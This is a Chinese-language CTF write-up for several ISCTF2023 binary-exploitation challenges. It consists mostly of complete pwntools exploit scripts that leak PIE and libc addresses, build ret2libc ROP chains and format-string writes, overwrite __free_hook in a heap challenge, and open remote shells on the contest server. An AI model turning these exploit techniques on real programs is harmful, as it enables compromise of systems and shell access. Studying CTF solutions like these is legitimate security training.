ISCTF_pwn

文章发布时间:

最后更新时间:

非常好比赛,使我的脑袋旋转
ISCTF_pwn附件
ISCTF_wp_written_by_Hor1zon
[ISCTF2023 ezpie]
checksec


主要难点是pie
看看main


有个格式化字符串漏洞,因为开了pie考虑泄露程序基址
恰好此处能泄露func的地址

1
2
3
4
5
6
7
p.send(b'b'*(40-3) + b'v5:')
# pause()
p.recvuntil(b'v5:')
v5 = u64(p.recvuntil(b'\x0a', drop=True) + b'\0\0')
success('func_addr: %s'+ hex(func_addr))
code_base = func_addr - elf.sym['func']
success("code_base: %s",hex(code_base) )

顺带着很多东西就能用了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pop_rdi_ret =code_base + 0x0000000000001333
pop_rsi_r15_ret =code_base + 0x0000000000001331
ret_addr =code_base + 0x000000000000101a
leave_ret =code_base + 0x0000000000001252 # : leave; ret;
str_bin_sh =code_base + 0x0000000000002008
pop_rax_ret =code_base + 0x00000000000012c8
puts_got = code_base + elf.got['puts']
puts_plt = code_base + elf.plt['puts']
main_addr = code_base + elf.sym['main']
syscall = code_base + 0x00000000000012c5
pop_all = code_base+ 0x000000000000132c
ogg = code_base+0xe3afe
ogg2 = code_base +0xe3b01
ogg3 = code_base+0xe3b04

func内有处溢出,溢出空间蛮大的

程序内有syscall和bin_sh字符串,应该是可以ret2syscall的,比较懒,打ret2libc
这里用的是LibcSearcher,个人推荐把sgtlibc也装上,有时候libc版本能互补,用法可参考山石夏令营的结营赛wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
payload2  = b'a' * 0x50 + b'b' * 8  +p64(pop_rdi_ret)+p64(puts_got) + p64(puts_plt)+ p64(main_addr)
p.recvuntil(b"please enter your information->")
p.sendline(payload2)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts: %s',puts_addr)

libc = LibcSearcher('puts',puts_addr)#9 - libc6_2.31-0ubuntu9.9_amd64
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

one_gadget = libc_base + 0xe3afe#尝试过其他几个,貌似只有这个能打
p.send('fxxkingpie')

payload3 = b'a' * (0x50 + 0x8)
payload3 += p64(ret_addr)
payload3 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system)+ p64(ret_addr)
#payload3 += p64(pop_all) + p64(one_gadget)

p.sendline(payload3)
p.interactive()

想打ret2one_gadget的话也要先泄露libc版本,实测能打
完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import*
from pwn import p64,u64
#import sgtlibc
from LibcSearcher import*
elf=ELF('./ezpie')
#libc = ELF('/home/str1d3r/glibc-all-in-one/libs/2.31-0ubuntu9.12_amd64/libc.so.6')
context(os='Linux',arch = 'amd64',log_level ='debug')

def debug():
gdb.attach(p)
pause()

p = remote('43.249.195.138',20012)
#libc =ELF('libc-2.31.so')
#p = process("./ezpie")
#debug()
p.send(b'b'*(40-3) + b'v5:')
# pause()
p.recvuntil(b'v5:')
v5 = u64(p.recvuntil(b'\x0a', drop=True) + b'\0\0')
success('v5: '+ hex(v5))
code_base = v5 - elf.sym['func']
success("code_base: %s",hex(code_base) )

pop_rdi_ret =code_base + 0x0000000000001333
pop_rsi_r15_ret =code_base + 0x0000000000001331
ret_addr =code_base + 0x000000000000101a
leave_ret =code_base + 0x0000000000001252 # : leave; ret;
str_bin_sh =code_base + 0x0000000000002008
pop_rax_ret =code_base + 0x00000000000012c8
puts_got = code_base + elf.got['puts']
puts_plt = code_base + elf.plt['puts']
main_addr = code_base + elf.sym['main']
syscall = code_base + 0x00000000000012c5
pop_all = code_base+ 0x000000000000132c
ogg = code_base+0xe3afe
ogg2 = code_base +0xe3b01
ogg3 = code_base+0xe3b04

payload2 = b'a' * 0x50 + b'b' * 8 +p64(pop_rdi_ret)+p64(puts_got) + p64(puts_plt)+ p64(main_addr)
p.recvuntil(b"please enter your information->")
p.sendline(payload2)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts: %s',puts_addr)

libc = LibcSearcher('puts',puts_addr)#9 - libc6_2.31-0ubuntu9.9_amd64
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

one_gadget = libc_base + 0xe3afe#尝试过其他几个,貌似只有这个能打
p.send('fxxkingpie')

payload3 = b'a' * (0x50 + 0x8)
payload3 += p64(ret_addr)
payload3 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system)+ p64(ret_addr)
#payload3 += p64(pop_all) + p64(one_gadget)


p.sendline(payload3)
p.interactive()

[ISCTF2023 stack]
checksec


直接看vuln函数

一开始以为是类似于off-by-one的漏洞,一直陷入了误区
实际上就是单纯的溢出,但是我们像平时一样测试溢出时,会导致数组s[i]的下标i被覆盖,比如我们使用这样的exp测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

elf = ELF('./stack')
p = process('./stack')
context(os='Linux',arch = 'amd64',log_level ='debug')

def debug():
gdb.attach(p)
pause()

ret = 0x000000000040101a
pop_rbp_ret = 0x00000000004011bd
leave_ret = 0x00000000004012e4
size = b'1000'

p.recvuntil(b"size: ")
p.sendline(size)
pay = cyclic(80)
p.send(pay)
debug()
p.interactive()

会导致数组写入时出现

其原因为数组下标i被b’a’覆盖,实际上数据就被读入到了s[61]处,导致我们无法覆盖返回地址
这里我们找准i的偏移,并在合适的时候填写正确的数组下标,防止其被覆盖,我们就能正常溢出覆盖返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context(os='Linux',arch = 'amd64',log_level ='debug')
def debug():
gdb.attach(p)
pause()

elf = ELF('./stack')
#p = process('./stack')
p = remote('43.249.195.138', 22555)
ret = 0x000000000040101a
p.sendline(b'10000')
payload = b'a'*28
payload += b'\x1d'
payload += b'\x00'*2
payload += p64(ret)
payload += p64(ret)
payload += p64(elf.sym['backdoor'])

p.send(payload)
p.interactive()

[ISCTF2023 fmt]
纯纯的纸老虎
checksec

保护全开,别被吓到,抓住关键点

把v1,v2改了就能拿到shell,根本不用溢出 = NX和canary没用,根本不用改got表 = full-relro没用,开了pie = 偏移一定
格式化字符串直接改就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

elf = ELF('./fmt')
p = process('./fmt')
context(os='Linux',arch = 'amd64',log_level ='debug')
def debug():
gdb.attach(p)
pause()

main = b'%26$p'
canary =b'%27$p'
offset = 10
debug()
pay = 'aaaaaaaaaaaaaaaaaa%8$nbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb%9$n'
p.send(pay)
p.interactive()
'''
#!/usr/bin/python3

# 格式化符号说明
%x 以十六进制打印,只能打印4字节,一般只用于32位
%p 打印目标地址,建议32位和64位都用这个
%s 打印地址内容
%c 打印单个字符
%hhn 写一字节
%hn 写两字节
%n 写四字节
%ln 32位写四字节,64位写八字节
%lln 写八字节
'''

[ISCTF2023 fries]
checksec

主要漏洞点在format函数,给了7次啊7次格式化字符串漏洞利用机会
第一次泄露elfbase,第二次泄露puts地址和libc_base,第三次把ret地址改成one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(os='Linux',arch = 'amd64',log_level ='debug')
p = process('./fries')
#p = remote('43.249.195.138',21702)
libc = ELF('libc.so.6')
def debug():
gdb.attach(p)
pause()

p.recvuntil('Emmmmm... Could you give me some fries\n')
p.sendline('fries\x00')
p.recvuntil('Go get some fries on the pier\n')
p.sendline(b'%10$p%24$p')
x= int(p.recv(14),16)
elf_base = x-16416
elf.address = elf_base
stack= int(p.recv(14),16)
ret = stack - 72

pay = b'%9$s'
pay += (8 - (len(pay) % 8)) * b'A'
pay += p64(elf.got['puts'])
p.recvuntil('Go get some fries on the pier\n')

p.sendline(pay)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts: %s',puts_addr)
libc_base = puts_addr - libc.sym['puts']
ogg = [0x50a47,0xebc81,0xebc85,0xebc88,0xebce2,0xebd3f,0xebd43]

og = libc_base + ogg[0]
o1 = og &0xFFFFFFFF
o2 = (og >> 32)&0xFFFFFFFF


success('libc_base: %s',libc_base)
pay = fmtstr_payload(8,{ret:o1},write_size='short')
p.recvuntil('Go get some fries on the pier\n')

p.sendline(pay)
pay = fmtstr_payload(8,{ret+4:o2},write_size='short')
p.recvuntil('Go get some fries on the pier\n')

p.sendline(pay)
p.recvuntil('Go get some fries on the pier\n')
p.sendline('\x00\x00\x00\x00')
for i in range(4):
p.sendline('ls\x00')
p.interactive()

[ISCTF2023 touch_file1]
?

1
2
3
4
5
6
from pwn import *
context(os='Linux',arch = 'amd64',log_level ='debug')
p=remote('43.249.195.138',21284)

p.sendline(b'test\ncat flag\n')
p.interactive()

[ISCTF2023 touch_file2]
一道glibc2.31的删符号表的cpp堆题
太抽象了:(
存个exp就跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(os='Linux',arch = 'amd64',log_level ='debug')
p = process('./touch_file2')
#p = remote('43.249.195.138',22475)

def add(name):
p.recvuntil('>')
p.send('touch ')
p.sendline(name)
def edit(name,text):
p.recvuntil('>')
p.send('edit ')
p.send(name)
p.send(' ')
p.sendline(text)
def rm(name):
p.recvuntil('>')
p.send('rm ')
p.sendline(name)


for i in range(8):
add(str(i))
#rm('1')
p.recvuntil('>')
p.sendline('cp 0 8\n')
p.sendline('cp 1 9\n')
for i in range(8-1,-1,-1):
rm(str(i))

p.recvuntil('>')

p.sendline('cat 8')
p.recvuntil('file_content is ')

x = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc_base = x -3390432 + 1372160

libc = elf.libc

__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

edit('9',p64(__free_hook))

success('libc_base:%s',hex(libc_base))

add('yy /bin/sh\x00')

add(b'tt '+p64(system))

rm('yy')


p.interactive()